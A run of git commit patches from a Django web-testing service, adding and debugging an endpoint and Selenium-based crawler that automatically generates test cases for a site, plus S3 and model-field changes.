+    site_url = request.data.get('site_url')
+    max_cases = request.data.get('max_cases', 4)
+    max_layers = request.data.get('max_layers', 6)
+    configs = request.data.get('configs')
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+
+    # get site if only site_url present
+    if site_id is None and site_url is not None:
+        site = Site.objects.filter(account=account, site_url=site_url)[0]
+        site_id = str(site.id)
+    else:
+        # return error response
+        data = {'reason': 'site not found',}
+        record_api_call(request, data, '404')
+        response = Response(data, status=status.HTTP_404_NOT_FOUND)
+        return response
+
+
+    # send data to bg_autocase_task
+    create_auto_cases_bg.delay(
+        site_id=site_id,
+        max_cases=max_cases,
+        max_layers=max_layers,
+        configs=configs
+    )
+
+    # return response
+    data = {'message': 'Cases are generating',}
+    record_api_call(request, data, '200')
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
 
 
 def create_testcase(request, delay=False):
@@ -2575,13 +2660,14 @@ def create_testcase(request, delay=False):
         record_api_call(request, data, '409')
         return Response(data, status=status.HTTP_409_CONFLICT)
 
-    steps = case.steps
+    steps = requests.get(case.steps['url']).json()
     for step in steps:
         if step['action']['type'] != None:
             step['action']['time_created'] = None
             step['action']['time_completed'] = None
             step['action']['exception'] = None
             step['action']['passed'] = None
+            step['action']['img'] = None
 
         if step['assertion']['type'] != None:
             step['assertion']['time_created'] = None
@@ -2652,7 +2738,7 @@ def get_testcases(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
         if testcase.account != account:
-            data = {'reason': 'retrieve an Testcase you do not own',}
+            data = {'reason': 'cannot retrieve an Testcase you do not own',}
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
         serializer_context = {'request': request,}
@@ -2730,7 +2816,7 @@ def get_logs(request):
     if log_id != None:
         log = Log.objects.get(id=log_id)
         if log.user != request.user:
-            data = {'reason': 'retrieve Logs you do not own',}
+            data = {'reason': 'cannot retrieve Logs you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 0fc9a204..5cab7914 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -40,6 +40,7 @@
     path('case', views.Cases.as_view(), name='case'),
     path('case/<uuid:id>', views.CaseDetail.as_view(), name='case-detail'),
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
+    path('case/auto', views.AutoCases.as_view(), name='case-auto'),
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index cb76ffa6..577f847b 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -491,6 +491,16 @@ def delete(self, request, id):
 
 
 
+
+class AutoCases(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post']
+
+    def post(self, request):
+        response = create_auto_cases(request)  
+
+
+
 class Testcases(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']

From 5f119862f401689a6779a2779e23b6470d4a3ab9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 14:07:08 -0600
Subject: [PATCH 435/752] fixed return response

---
 app/api/v1/ops/views.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 577f847b..b5fabc02 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -498,6 +498,7 @@ class AutoCases(APIView):
 
     def post(self, request):
         response = create_auto_cases(request)  
+        return response
 
 
 

From 35f3ff68b5f7719cf33f28bce3a321b25c804f73 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 14:52:10 -0600
Subject: [PATCH 436/752] fixing exception handling issues

---
 app/api/v1/ops/services.py | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index fdd201cd..40d53ef1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2594,19 +2594,18 @@ def create_auto_cases(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-
     # get site if only site_url present
     if site_id is None and site_url is not None:
         site = Site.objects.filter(account=account, site_url=site_url)[0]
         site_id = str(site.id)
-    else:
+
+    if site_id is None and site_url is None:
         # return error response
         data = {'reason': 'site not found',}
         record_api_call(request, data, '404')
         response = Response(data, status=status.HTTP_404_NOT_FOUND)
         return response
 
-
     # send data to bg_autocase_task
     create_auto_cases_bg.delay(
         site_id=site_id,

From 2ca883e50a4183423740df94cefe2a251bfae3c6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 14:55:37 -0600
Subject: [PATCH 437/752] fixed key error in task

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 40aff237..3c98c5f1 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -501,7 +501,7 @@ def create_auto_cases_bg(
     configs=None
 ):
     # get site
-    site = Site.objects.get(id=id)
+    site = Site.objects.get(id=site_id)
 
     # init AutoCaser
     AC = AutoCaser(

From 6fa5cac8d169ca8cecb281e3dd3d7868c14bcacd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 14:59:04 -0600
Subject: [PATCH 438/752] fixed naming error

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index e33486a7..a59f2c54 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -17,7 +17,7 @@ class AutoCaser():
     def __init__(self, site, max_cases: int=4, max_layers: int=5):
          
         # main site object & configs
-        self.scan = site
+        self.site = site
         self.max_cases = max_cases
         self.max_layers = max_layers
 

From 7077215c890b4a6582a82e24b9b5225eceb76ebf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 15:03:25 -0600
Subject: [PATCH 439/752] fixed driver association

---
 app/api/utils/autocaser.py | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index a59f2c54..15974852 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -148,7 +148,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
             print(f'recording form -> {form_selector}')
 
             # getting form text
-            elem_text = self.get_elem_text(selector=form_selector, driver=driver)
+            elem_text = self.get_elem_text(selector=form_selector, driver=self.driver)
 
             # get form image
             form_img = self.get_element_image(element=form)
@@ -345,7 +345,7 @@ def get_elements(self):
         start_page = self.driver.current_url
 
         # record all forms and sub_elements on page
-        elements = self.record_forms(elements=elements, driver=driver)
+        elements = self.record_forms(elements=elements, driver=self.driver)
     
         # grab all buttons
         buttons = self.driver.find_elements(By.TAG_NAME, "button")
@@ -359,7 +359,7 @@ def get_elements(self):
         # sorting start_elems
         sorted_elements = self.get_priority_elements(
             elements=start_elms, 
-            driver=driver
+            driver=self.driver
         )
         priority_elements = sorted_elements['priority_elements']
         non_priority_elements = sorted_elements['non_priority_elements']
@@ -411,14 +411,14 @@ def get_elements(self):
             # ensuring we're at start_page
             if self.driver.current_url != start_page:
                 self.driver.get(start_page)
-                driver_wait(driver=driver)
+                driver_wait(driver=self.driver)
 
             # get element info
             element = self.driver.find_element(By.CSS_SELECTOR, selector)
             element_img = self.get_element_image(element=element)
             element_type = element.tag_name
             elem_relative_url = self.get_relative_url(self.driver.current_url)
-            elem_text = self.get_elem_text(selector=selector, driver=driver)
+            elem_text = self.get_elem_text(selector=selector, driver=self.driver)
 
             print(f'working on this start element -> {selector}')
 
@@ -444,7 +444,7 @@ def get_elements(self):
                 print(f'layers -> {layers} | run -> {run}')
 
                 # driver wait
-                driver_wait(driver=driver)
+                driver_wait(driver=self.driver)
 
                 # check current page
                 if self.driver.current_url == previous_url:
@@ -492,7 +492,7 @@ def get_elements(self):
                                 # record form into sub_elements list
                                 sub_elements = self.record_forms(
                                     elements=sub_elements, 
-                                    driver=driver,
+                                    driver=self.driver,
                                     form=elem
                                 )
 
@@ -510,12 +510,12 @@ def get_elements(self):
                     self.driver.current_url.startswith(self.get_url_root(previous_url)):
 
                     # get new elements and randomly choose 1 (with priority)
-                    new_elements = self.get_current_elements(driver=driver)
+                    new_elements = self.get_current_elements(driver=self.driver)
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(
                         elements=new_elements, 
-                        driver=driver
+                        driver=self.driver
                     )
                     priority_elements = sorted_elements['priority_elements']
                     non_priority_elements = sorted_elements['non_priority_elements']
@@ -550,7 +550,7 @@ def get_elements(self):
                         # record form into sub_elements list
                         sub_elements = self.record_forms(
                             elements=sub_elements, 
-                            driver=driver,
+                            driver=self.driver,
                             form=elem
                         )
 

From 5e636caff4293f8e386c36c994cd0568e8b72306 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 15:06:50 -0600
Subject: [PATCH 440/752] updated record_forms

---
 app/api/utils/autocaser.py | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 15974852..21ec6f42 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -345,7 +345,7 @@ def get_elements(self):
         start_page = self.driver.current_url
 
         # record all forms and sub_elements on page
-        elements = self.record_forms(elements=elements, driver=self.driver)
+        elements = self.record_forms(elements=elements)
     
         # grab all buttons
         buttons = self.driver.find_elements(By.TAG_NAME, "button")
@@ -492,7 +492,6 @@ def get_elements(self):
                                 # record form into sub_elements list
                                 sub_elements = self.record_forms(
                                     elements=sub_elements, 
-                                    driver=self.driver,
                                     form=elem
                                 )
 
@@ -549,8 +548,7 @@ def get_elements(self):
                     if elem.tag_name == 'form':
                         # record form into sub_elements list
                         sub_elements = self.record_forms(
-                            elements=sub_elements, 
-                            driver=self.driver,
+                            elements=sub_elements,
                             form=elem
                         )
 

From bdbf2a9a2f0a094e17bd0b3af9f4bd3d82e0aa9e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 15:08:12 -0600
Subject: [PATCH 441/752] removed unnecessary var

---
 app/api/utils/autocaser.py | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 21ec6f42..7a4e710f 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -624,9 +624,6 @@ def build_cases(self):
         # run get_elements
         elements = self.get_elements()
 
-        # temp cases definition
-        cases = []
-
         # get/decide on value for element
         def get_elem_value(element):
             if element['value'] == None or len(element['value']) <= 0:

From 8dc2fb88606e737bceb0dac10182c4607d7bbc64 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 15:13:51 -0600
Subject: [PATCH 442/752] fixing minor bugs

---
 app/api/utils/autocaser.py | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 7a4e710f..8219c7b7 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -143,12 +143,12 @@ def record_forms(self, elements: list, form: object=None) -> list:
         for form in forms:
             
             # get form selector
-            form_selector = self.driver.execute_script(selector_script, form)
+            form_selector = self.driver.execute_script(self.selector_script, form)
 
             print(f'recording form -> {form_selector}')
 
             # getting form text
-            elem_text = self.get_elem_text(selector=form_selector, driver=self.driver)
+            elem_text = self.get_elem_text(selector=form_selector)
 
             # get form image
             form_img = self.get_element_image(element=form)
@@ -162,7 +162,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 
                 if i.get_attribute('type') not in self.blacklist:
                     # get input data
-                    input_selector = self.driver.execute_script(selector_script, i)
+                    input_selector = self.driver.execute_script(self.selector_script, i)
                     placeholder = i.get_attribute('placeholder')
                     value = i.get_attribute('value')
                     type = i.get_attribute('type')
@@ -189,7 +189,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
             for iframe in iframes:
                 
                 # get iframe data
-                iframe_selector = self.driver.execute_script(selector_script, iframe)
+                iframe_selector = self.driver.execute_script(self.selector_script, iframe)
                 iframe_img = self.get_element_image(element=iframe)
                 relative_url = self.get_relative_url(self.driver.current_url)
                 
@@ -202,7 +202,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     
                     if i.get_attribute('type') not in self.blacklist:
                         # get input data
-                        input_selector = self.driver.execute_script(selector_script, i)
+                        input_selector = self.driver.execute_script(self.selector_script, i)
                         placeholder = i.get_attribute('placeholder')
                         value = i.get_attribute('value')
                         type = i.get_attribute('type')
@@ -246,7 +246,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
             for btn in btns:
 
                 # get button data
-                btn_selector = self.driver.execute_script(selector_script, btn)
+                btn_selector = self.driver.execute_script(self.selector_script, btn)
                 type = btn.get_attribute('type')
                 btn_img = self.get_element_image(element=btn)
                 relative_url = self.get_relative_url(self.driver.current_url)
@@ -302,7 +302,7 @@ def get_priority_elements(self, elements: list) -> dict:
         for element in elements:
 
             # get element's innerText
-            elem_selector = self.driver.execute_script(selector_script, element)
+            elem_selector = self.driver.execute_script(self.selector_script, element)
             elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
 
             # check each priority word against element innerText
@@ -372,7 +372,7 @@ def get_elements(self):
                 random.randint(0, (len(priority_elements) - 1))
             ]
             final_start_elements.append(
-                self.driver.execute_script(selector_script, choosen)
+                self.driver.execute_script(self.selector_script, choosen)
             )
 
         # adding random elements until 
@@ -386,7 +386,7 @@ def get_elements(self):
             ]
 
             # check if element exists in final_start_elements[]
-            selector = self.driver.execute_script(selector_script, choosen)
+            selector = self.driver.execute_script(self.selector_script, choosen)
             if selector in final_start_elements:
                 iterations += 1
                 continue
@@ -418,12 +418,12 @@ def get_elements(self):
             element_img = self.get_element_image(element=element)
             element_type = element.tag_name
             elem_relative_url = self.get_relative_url(self.driver.current_url)
-            elem_text = self.get_elem_text(selector=selector, driver=self.driver)
+            elem_text = self.get_elem_text(selector=selector)
 
             print(f'working on this start element -> {selector}')
 
             # get all current elements and url before action
-            old_elements = self.get_current_elements(driver)
+            old_elements = self.get_current_elements()
             previous_url = self.driver.current_url
 
             # perform first action
@@ -450,12 +450,12 @@ def get_elements(self):
                 if self.driver.current_url == previous_url:
                     
                     # check for new element
-                    new_elements = self.get_current_elements(driver)
+                    new_elements = self.get_current_elements()
                     for elem in new_elements:
                         if elem not in old_elements:
 
                             # get sub element info
-                            elem_selector = self.driver.execute_script(selector_script, elem)
+                            elem_selector = self.driver.execute_script(self.selector_script, elem)
                             elem_img = self.get_element_image(element=elem)
                             relative_url = self.get_relative_url(self.driver.current_url)
                             
@@ -509,7 +509,7 @@ def get_elements(self):
                     self.driver.current_url.startswith(self.get_url_root(previous_url)):
 
                     # get new elements and randomly choose 1 (with priority)
-                    new_elements = self.get_current_elements(driver=self.driver)
+                    new_elements = self.get_current_elements()
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(
@@ -540,7 +540,7 @@ def get_elements(self):
                         break
 
                     # get sub element info
-                    elem_selector = self.driver.execute_script(selector_script, elem)
+                    elem_selector = self.driver.execute_script(self.selector_script, elem)
                     elem_img = self.get_element_image(element=elem)
                     relative_url = self.get_relative_url(self.driver.current_url)
 

From 25a91b4d5546c56e99ad53da86f365b45d40c49a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 17:21:56 -0600
Subject: [PATCH 443/752] fixing more bugs

---
 app/api/utils/autocaser.py | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8219c7b7..41a9f4e1 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -359,7 +359,6 @@ def get_elements(self):
         # sorting start_elems
         sorted_elements = self.get_priority_elements(
             elements=start_elms, 
-            driver=self.driver
         )
         priority_elements = sorted_elements['priority_elements']
         non_priority_elements = sorted_elements['non_priority_elements']
@@ -513,8 +512,7 @@ def get_elements(self):
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(
-                        elements=new_elements, 
-                        driver=self.driver
+                        elements=new_elements,
                     )
                     priority_elements = sorted_elements['priority_elements']
                     non_priority_elements = sorted_elements['non_priority_elements']

From aea512e64f46d620d491f28cec24f591c92e7e53 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 18:33:00 -0600
Subject: [PATCH 444/752] fixing bugs

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 41a9f4e1..efba28a5 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -377,7 +377,7 @@ def get_elements(self):
         # adding random elements until 
         # "max_cases" is reached
         iterations = 0
-        while len(final_start_elements) < self.max_cases and iterations < (5 * max_cases):
+        while len(final_start_elements) < self.max_cases and iterations < (5 * self.max_cases):
 
             # random choice
             choosen = non_priority_elements[

From d6ab413b02143b3c0e04bc704cdf2272de026cd6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 18:51:05 -0600
Subject: [PATCH 445/752] added user info to cases

---
 app/api/utils/autocaser.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index efba28a5..222931ba 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -732,7 +732,9 @@ def sub_element_mapping(elements, steps):
             Case.objects.create(
                 id      = case_id,
                 site    = self.site,
-                name    = element['elem_text'],
+                user    = self.site.user,
+                account = self.site.user.account,
+                name    = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
                 tags    = ["generated"],
                 steps   = {
                     'url':  steps_url,

From 67d75708e4023c20c16b0d08e22d3baa2e1e0c3c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 18:56:02 -0600
Subject: [PATCH 446/752] updated action for password input

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 222931ba..cf7abf6b 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -62,7 +62,7 @@ def __init__(self, site, max_cases: int=4, max_layers: int=5):
             "image":            {'test_data': None, 'action': None},
             "month":            {'test_data': '2024-04', 'action': 'change'},
             "number":           {'test_data': '1', 'action': 'change'},
-            "password":         {'test_data': 'pass123456!@', 'action': 'click'},
+            "password":         {'test_data': 'pass123456!@', 'action': 'change'},
             "radio":            {'test_data': None, 'action': 'click'},
             "range":            {'test_data': 1, 'action': 'change'},
             "reset":            {'test_data': None, 'action': None},

From fe2dc5f631d312fe15da62d1afdac192fe15a493 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 18:57:53 -0600
Subject: [PATCH 447/752] fixed ownership issue

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index cf7abf6b..7daa0c2a 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -733,7 +733,7 @@ def sub_element_mapping(elements, steps):
                 id      = case_id,
                 site    = self.site,
                 user    = self.site.user,
-                account = self.site.user.account,
+                account = self.site.account,
                 name    = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
                 tags    = ["generated"],
                 steps   = {

From 7c87170188625dd835e6dc25087cbd11cf218263 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 19:22:32 -0600
Subject: [PATCH 448/752] fixed the case serializer

---
 app/api/v1/ops/serializers.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 04635002..f4267c5a 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -175,6 +175,7 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     user = serializers.ReadOnlyField(source='user.username')
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
+    site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
 
     class Meta:
         model = Case

From 6fcaf3a2d22fdbd9b9e0cbda2592eda5e6832dcb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 19:22:46 -0600
Subject: [PATCH 449/752] removed deplicate wait_for_db

---
 docker-compose.dev.yml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 0cf5c7c8..9c26c0fa 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -16,7 +16,6 @@ services:
              python3 manage.py makemigrations  --no-input &&
              python3 manage.py migrate  --no-input &&
              python3 manage.py collectstatic --no-input &&
-             python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test &&

From f7684b0a5941c16d3ef85df5ecfecf92b089d949 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 19:40:30 -0600
Subject: [PATCH 450/752] added exception for null action types

---
 app/api/utils/autocaser.py | 31 ++++++++++++++++---------------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 7daa0c2a..8f09655d 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -679,21 +679,22 @@ def sub_element_mapping(elements, steps):
                 if element['elements'] != None:
                     for elem in elements:
                         # add step
-                        steps.append({
-                            "action":{
-                                "key": "",
-                                "path": elem['path'],
-                                "type": elem['action'],
-                                "value": get_elem_value(elem),
-                                "element": elem['selector'],
-                                "img": elem['img']
-                            },
-                            "assertion":{
-                                "type": "",
-                                "value": "",
-                                "element": ""
-                            }
-                        })
+                        if elem['action'] is not None:
+                            steps.append({
+                                "action":{
+                                    "key": "",
+                                    "path": elem['path'],
+                                    "type": elem['action'],
+                                    "value": get_elem_value(elem),
+                                    "element": elem['selector'],
+                                    "img": elem['img']
+                                },
+                                "assertion":{
+                                    "type": "",
+                                    "value": "",
+                                    "element": ""
+                                }
+                            })
 
                         # check if sub_elements exists
                         if elem['elements'] != None:

From 231522e41128988837ee2d6321a24fff6e565b81 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 7 May 2024 10:10:23 -0600
Subject: [PATCH 451/752] updating s3 bucket scope

---
 app/api/v1/ops/services.py | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 40d53ef1..3e10b540 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -21,15 +21,6 @@
 
 
 
-# setup boto3 configurations
-s3 = boto3.client(
-    's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-    region_name=str(settings.AWS_S3_REGION_NAME), 
-    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-)
-
-
 
 
 def record_api_call(request, data, status):
@@ -2414,6 +2405,13 @@ def get_processes(request):
 
 
 def save_case_steps(steps):
+    # setup boto3 configurations
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
 
     # create .json file for steps and upload to s3
     steps_id = uuid.uuid4()
@@ -2567,6 +2565,14 @@ def delete_case(request, id):
         data = {'reason': 'delete an Case you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
+    
+    # setup boto3 configurations
+    s3 = boto3.client(
+        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
 
     # delete s3 steps object
     bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)

From 961ad5f7634f4370791d4b897d9c13191ab0c977 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 7 May 2024 10:14:55 -0600
Subject: [PATCH 452/752] fixed s3 resource issue

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 3e10b540..edc911ee 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2567,13 +2567,13 @@ def delete_case(request, id):
         return Response(data, status=status.HTTP_403_FORBIDDEN)
     
     # setup boto3 configurations
-    s3 = boto3.client(
-        's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
         aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
         region_name=str(settings.AWS_S3_REGION_NAME), 
         endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
     )
-
+    
     # delete s3 steps object
     bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
     bucket.objects.filter(Prefix=str(f'static/cases/{case.id}.json')).delete()

From e36a8e9279dff38ee9264e5a37c544d17b3f613c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 7 May 2024 13:35:56 -0600
Subject: [PATCH 453/752] adding type to Case model

---
 app/api/models.py             | 3 ++-
 app/api/utils/autocaser.py    | 2 +-
 app/api/v1/ops/serializers.py | 2 +-
 app/api/v1/ops/services.py    | 5 +++--
 4 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 54dc00b6..9960a6ff 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -451,10 +451,11 @@ class Case(models.Model):
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
+    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
-        return f'{self.name}'
+        return f'{self.name}' if len(self.name) > 0 else str(id)
 
 
 
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8f09655d..dcddf3a2 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -736,7 +736,7 @@ def sub_element_mapping(elements, steps):
                 user    = self.site.user,
                 account = self.site.account,
                 name    = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
-                tags    = ["generated"],
+                type    = "generated",
                 steps   = {
                     'url':  steps_url,
                     'num_steps': len(steps)
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index f4267c5a..9b449804 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -180,7 +180,7 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Case
         fields = ['id', 'name', 'user', 'steps', 'time_created',
-        'tags', 'account', 'site',
+        'tags', 'account', 'site', 'type',
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index edc911ee..63accb62 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2448,6 +2448,7 @@ def create_or_update_case(request):
     steps = request.data.get('steps')
     name = request.data.get('name')
     tags = request.data.get('tags')
+    _type = request.data.get('type')
     user = request.user
     account = Member.objects.get(user=user).account
 
@@ -2485,7 +2486,7 @@ def create_or_update_case(request):
         case = Case.objects.create(
             user = request.user,
             name = name, 
-            tags = tags if tags is not None else ["recorded"],
+            type = _type if _type is not None else "recorded",
             steps = steps_data,
             account = account
         )
@@ -2573,7 +2574,7 @@ def delete_case(request, id):
         region_name=str(settings.AWS_S3_REGION_NAME), 
         endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
     )
-    
+
     # delete s3 steps object
     bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
     bucket.objects.filter(Prefix=str(f'static/cases/{case.id}.json')).delete()

From 82b2f6a987cfec2293c47b84257140712e7c7b0d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 7 May 2024 13:51:11 -0600
Subject: [PATCH 454/752] added duplicte checker

---
